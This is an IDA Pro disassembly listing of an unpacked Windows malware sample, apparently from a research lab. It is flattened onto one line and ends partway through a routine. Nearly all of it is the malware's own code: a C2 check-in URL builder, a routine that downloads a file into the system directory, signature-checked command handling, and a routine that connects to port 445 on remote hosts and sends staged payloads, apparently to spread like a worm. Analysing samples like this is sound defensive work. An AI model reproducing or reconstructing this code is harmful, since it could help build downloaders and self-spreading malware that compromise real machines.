; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 0945DBE41C047F5FE15078D3B2986162 ; File Name : u:\work\0945dbe41c047f5fe15078d3b2986162_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31420000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31421000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31421000 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31421004 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31421008 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3142100C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_31422882+1Dr dword_31421010 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31421014 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_31422882+4Er ... dword_31421018 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownAdword_3142101C dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31421020 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31421024 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_31421028 dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHashdword_3142102C dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31421030 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31421034 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_31421038 dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKey align 10h dword_31421040 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_31421044 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31421048 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_3142104C dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31421050 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31421054 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31421058 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3142105C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31421060 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31421064 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31421068 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_31422B67+8Fr dword_3142106C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_31421070 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_31421074 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_31422A9B+Fr dword_31421078 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_3142107C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_314211A0+F6r ... dword_31421080 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_314221C4+57r dword_31421084 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_31421422+64r ... dword_31421088 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_31422A9B+40r dword_3142108C dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_31422A9B+1Br dword_31421090 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_31421094 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_31421801+16Cr ... dword_31421098 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchangedword_3142109C dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_314210A0 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_314210A4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_31421DF0+2Cr dword_314210A8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_314223B2+116r dword_314210AC dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_314210B0 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_3142292E+92r dword_314210B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:31422336r dword_314210B8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_314210BC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_314210C0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_31421F52+12r dword_314210C4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_314210C8 dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_314210CC dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_314210D0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_314221C4+66r ... dword_314210D4 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_314225C3+3Fr ... dword_314210D8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_314210DC dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_314210E0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_31422A9B+C3r dword_314210E4 dd 7C910331h, 0 ; resolved to->NTDLL.RtlGetLastWin32Errordword_314210EC dd 77C371BCh ; resolved to->MSVCRT.sranddword_314210F0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_314210F4 dd 77C478A0h ; resolved to->MSVCRT.strlendword_314210F8 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_314210FC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_31421F73:loc_31421F84r ... ; --------------------------------------------------------------------------- loc_31421100: ; DATA XREF: UPX0:loc_31422CD0r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31421104 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_3142207E:loc_314220AFr ... dword_31421108 dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_31421422+AAr align 10h dword_31421110 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31421114 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_31421118 dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessIddword_3142111C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_314215C7+77r ... dd 0 dword_31421124 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_314215C7+9Dr dword_31421128 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_314215C7+89r dword_3142112C dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandledword_31421130 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:314227A2r dword_31421134 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_314215C7+B0r dd 0 dword_3142113C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31421140 dd 71AB3E00h ; resolved to->WS2_32.binddword_31421144 dd 71AB88D3h ; resolved to->WS2_32.listendword_31421148 dd 71AC1028h ; resolved to->WS2_32.acceptdword_3142114C dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31421150 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31421154 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_31421158 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_314221C4+ACr dword_3142115C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_31422712+Dr dword_31421160 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_314221C4+F0r dword_31421164 dd 71AB406Ah ; resolved to->WS2_32.connectdword_31421168 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_3142207E+67r ... dword_3142116C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_31421801+1D8r ... dword_31421170 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_3142207E+128r dword_31421174 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_3142207E+12Fr align 10h dword_31421180 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h dword_31421190 dd 0FFFFFFFFh, 0 dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314211A0 proc near ; CODE XREF: sub_31421422+16Dp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31421128 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_314211CB push 1 jmp loc_31421261 ; --------------------------------------------------------------------------- loc_314211CB: ; CODE XREF: sub_314211A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_3142108C ; GetSystemDirectoryA mov edi, dword_31421088 lea eax, [ebp+var_110] push offset dword_314241F8 push eax call edi ; lstrcatA lea eax, [ebp+var_110] push 6 push eax call dword_31421084 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_31421F73 pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_314241F0 push eax call edi ; lstrcatA push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31421080 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31421241 push 2 jmp short loc_31421261 ; --------------------------------------------------------------------------- loc_31421241: ; CODE XREF: sub_314211A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31421124 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31421264 push [ebp+var_4] call dword_3142107C ; CloseHandle push 3 loc_31421261: ; CODE XREF: sub_314211A0+26j ; sub_314211A0+9Fj pop eax jmp short loc_314212B5 ; --------------------------------------------------------------------------- loc_31421264: ; CODE XREF: sub_314211A0+B4j mov edi, 100000h push edi call sub_31422CA5 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31421134 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_31421078 ; WriteFile push [ebp+var_4] call dword_3142107C ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31421FA3 push ebx call sub_31422CB9 add esp, 0Ch xor eax, eax loc_314212B5: ; CODE XREF: sub_314211A0+C2j pop edi pop esi pop ebx leave retn sub_314211A0 endp ; =============== S U B R O U T I N E ======================================= sub_314212BA proc near ; CODE XREF: sub_31421422+F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_314212D1: ; CODE XREF: sub_314212BA+56j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 sub dl, [esp+0Ch+arg_8] shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl sub dl, [esp+0Ch+arg_8] add eax, 3 shl bl, 4 and bl, 0F0h or dl, bl mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, 30h jl short loc_314212D1 pop edi pop esi pop ebx retn sub_314212BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421316 proc near ; CODE XREF: sub_3142139B+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31421349 add ebx, 1Ah loc_31421349: ; CODE XREF: sub_31421316+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31421108 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31421373 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31421396 ; --------------------------------------------------------------------------- loc_31421373: ; CODE XREF: sub_31421316+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31421393 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31421396 ; --------------------------------------------------------------------------- loc_31421393: ; CODE XREF: sub_31421316+68j mov al, [ebp+arg_0] loc_31421396: ; CODE XREF: sub_31421316+5Bj ; sub_31421316+7Bj pop edi pop esi pop ebx leave retn sub_31421316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142139B proc near ; CODE XREF: sub_31421422+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_314213F8 mov edi, [ebp+arg_0] push ebx loc_314213B0: ; CODE XREF: sub_3142139B+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31421316 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_314213DC cmp bl, 7Ah jg short loc_314213DC movsx esi, bl sub esi, 61h loc_314213DC: ; CODE XREF: sub_3142139B+34j ; sub_3142139B+39j cmp bl, 41h jl short loc_314213EC cmp bl, 5Ah jg short loc_314213EC movsx esi, bl sub esi, 41h loc_314213EC: ; CODE XREF: sub_3142139B+44j ; sub_3142139B+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_314213B0 pop ebx jmp short loc_314213FB ; --------------------------------------------------------------------------- loc_314213F8: ; CODE XREF: sub_3142139B+Fj mov edi, [ebp+arg_0] loc_314213FB: ; CODE XREF: sub_3142139B+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_3142139B endp ; =============== S U B R O U T I N E ======================================= sub_31421402 proc near ; CODE XREF: sub_31421422+104p arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31421406: ; CODE XREF: sub_31421402+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31421406 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_31421402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421422 proc near ; CODE XREF: sub_314215C7+BAp var_174 = dword ptr -174h var_170 = byte ptr -170h var_168 = byte ptr -168h var_164 = byte ptr -164h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = byte ptr -124h var_11C = byte ptr -11Ch var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31421180 push offset loc_31422CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 164h push ebx push esi push edi mov [ebp+var_128], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31421104 ; strstr pop ecx pop ecx mov edi, eax mov [ebp+var_130], edi test edi, edi jz loc_314215A8 add edi, 4 mov [ebp+var_130], edi jz loc_314215A8 push edi call dword_31421084 ; lstrlenA mov [ebp+var_1C], eax cmp eax, 50h jle loc_314215A8 and byte ptr [edi+100h], 0 mov al, [edi] mov [ebp+var_168], al movsx ebx, al sub ebx, 61h mov [ebp+var_12C], ebx js loc_314215A8 cmp ebx, 1Ah jge loc_314215A8 inc edi mov [ebp+var_130], edi push 7Eh push edi call dword_31421108 ; strchr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_314215A8 mov al, [esi] mov [ebp+var_170], al and byte ptr [esi], 0 push ebx push edi lea eax, [ebp+var_11C] push eax call sub_3142139B mov al, [ebp+var_170] mov [esi], al inc esi mov [ebp+var_130], esi xor edi, edi push edi lea eax, [ebp+var_164] push eax lea eax, [esi+1] push eax call sub_314212BA lea eax, [ebp+var_164] push eax call sub_31421402 add esp, 1Ch cmp [esi], al jnz short loc_314215A8 push 44h push offset dword_31424000 lea eax, [ebp+var_124] push eax call sub_3142172F add esp, 0Ch lea eax, [ebp+var_174] push eax push 30h lea eax, [ebp+var_164] push eax lea eax, [ebp+var_11C] push eax call dword_31421084 ; lstrlenA push eax lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_124] push eax call sub_3142179A add esp, 18h test eax, eax jnz short loc_3142159B cmp [ebp+var_174], edi jz short loc_3142159B lea eax, [ebp+var_11C] push eax call sub_314211A0 pop ecx mov [ebp+var_128], edi loc_3142159B: ; CODE XREF: sub_31421422+15Cj ; sub_31421422+164j lea eax, [ebp+var_124] push eax call sub_3142177E pop ecx loc_314215A8: ; CODE XREF: sub_31421422+4Ej ; sub_31421422+5Dj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_128] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_31421422 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314215C7 proc near ; CODE XREF: sub_314216A2+2Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31422CA5 pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31421090 ; GetLocaleInfoA xor ebx, ebx cmp byte ptr [ebp+arg_4], bl jz short loc_3142162F lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_31424FEC push dword_31425004 push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_3142111C ; wsprintfA add esp, 1Ch jmp short loc_31421647 ; --------------------------------------------------------------------------- loc_3142162F: ; CODE XREF: sub_314215C7+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_3142111C ; wsprintfA add esp, 0Ch loc_31421647: ; CODE XREF: sub_314215C7+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31421128 ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31421124 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31421134 ; InternetReadFile push esi mov [ebp+arg_4], eax call sub_31421422 push esi call sub_31422CB9 mov esi, dword_3142112C pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle mov eax, [ebp+arg_4] pop edi pop esi pop ebx leave retn sub_314215C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_314216A2 proc near ; DATA XREF: sub_314223B2+15Bo push ebx mov ebx, dword_31421098 push esi push edi loc_314216AB: ; CODE XREF: sub_314216A2+88j xor esi, esi mov edi, 46021h loc_314216B2: ; CODE XREF: sub_314216A2+86j inc esi inc esi call sub_31422038 test eax, eax jz short loc_314216FC mov al, byte_31424080[esi+esi*4] push eax push off_31424081[esi+esi*4] call sub_314215C7 or eax, edi pop ecx xor eax, 8064h pop ecx shl eax, 3 mov edi, eax xor eax, 228h test ax, 0FFFFh jnz short loc_314216FC push 0 push offset dword_31425004 call ebx ; InterlockedExchange push 0 push offset dword_31424FEC call ebx ; InterlockedExchange loc_314216FC: ; CODE XREF: sub_314216A2+19j ; sub_314216A2+46j call dword_314210FC ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_31422068 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_31421094 ; Sleep cmp esi, 16h jb short loc_314216B2 jmp loc_314216AB sub_314216A2 endp ; =============== S U B R O U T I N E ======================================= sub_3142172F proc near ; CODE XREF: sub_31421422+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31421034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_3142175C push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_3142175C push 1 pop eax jmp short loc_3142177A ; --------------------------------------------------------------------------- loc_3142175C: ; CODE XREF: sub_3142172F+19j ; sub_3142172F+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31421038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_3142177A: ; CODE XREF: sub_3142172F+2Bj pop edi pop esi pop ebx retn sub_3142172F endp ; =============== S U B R O U T I N E ======================================= sub_3142177E proc near ; CODE XREF: sub_31421422+180p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3142102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_31421030 ; CryptReleaseContext xor eax, eax pop esi retn sub_3142177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142179A proc near ; CODE XREF: sub_31421422+152p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3142101C ; CryptCreateHash test eax, eax jnz short loc_314217C0 push 1 pop eax jmp short loc_314217FD ; --------------------------------------------------------------------------- loc_314217C0: ; CODE XREF: sub_3142179A+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31421020 ; CryptHashData test eax, eax jnz short loc_314217D9 push 2 pop edi jmp short loc_314217F2 ; --------------------------------------------------------------------------- loc_314217D9: ; CODE XREF: sub_3142179A+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31421024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_314217F2: ; CODE XREF: sub_3142179A+3Dj push [ebp+arg_0] call dword_31421028 ; CryptDestroyHash mov eax, edi loc_314217FD: ; CODE XREF: sub_3142179A+24j pop edi pop esi pop ebp retn sub_3142179A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421801 proc near ; CODE XREF: sub_3142255F+36p ; sub_314225C3+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31422CF0 mov eax, dword_31424C84 push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31424C88 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_31421158 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31421D61 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_3142115C ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_3142109C ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31424C78 push eax call dword_3142111C ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31421874: ; CODE XREF: sub_31421801+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31421874 push 60h lea eax, [ebp+var_E4] push offset dword_31424798 push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31422CE2 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31422CDC ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31422CE2 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31422CD6 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31422CD6 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31421160 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31421164 ; connect cmp eax, 0FFFFFFFFh jz loc_31421D57 mov esi, dword_31421094 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_31421168 push 89h push offset dword_31424580 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0A8h push offset dword_3142460C push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0DEh push offset dword_314246B8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C cmp eax, 46h jl loc_31421D4C cmp [ebp+var_730], 31h jnz loc_31421BF7 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31422CD6 ; memset add esp, 0Ch push offset byte_314242B8 call dword_31421084 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31421084 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31422CE2 ; memcpy mov eax, dword_31424BBE add esp, 0Ch mov [ebp+var_798], eax loc_31421A98: ; CODE XREF: sub_31421801+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 68h push offset dword_314247FC push [ebp+var_4] call ebx ; send push edi 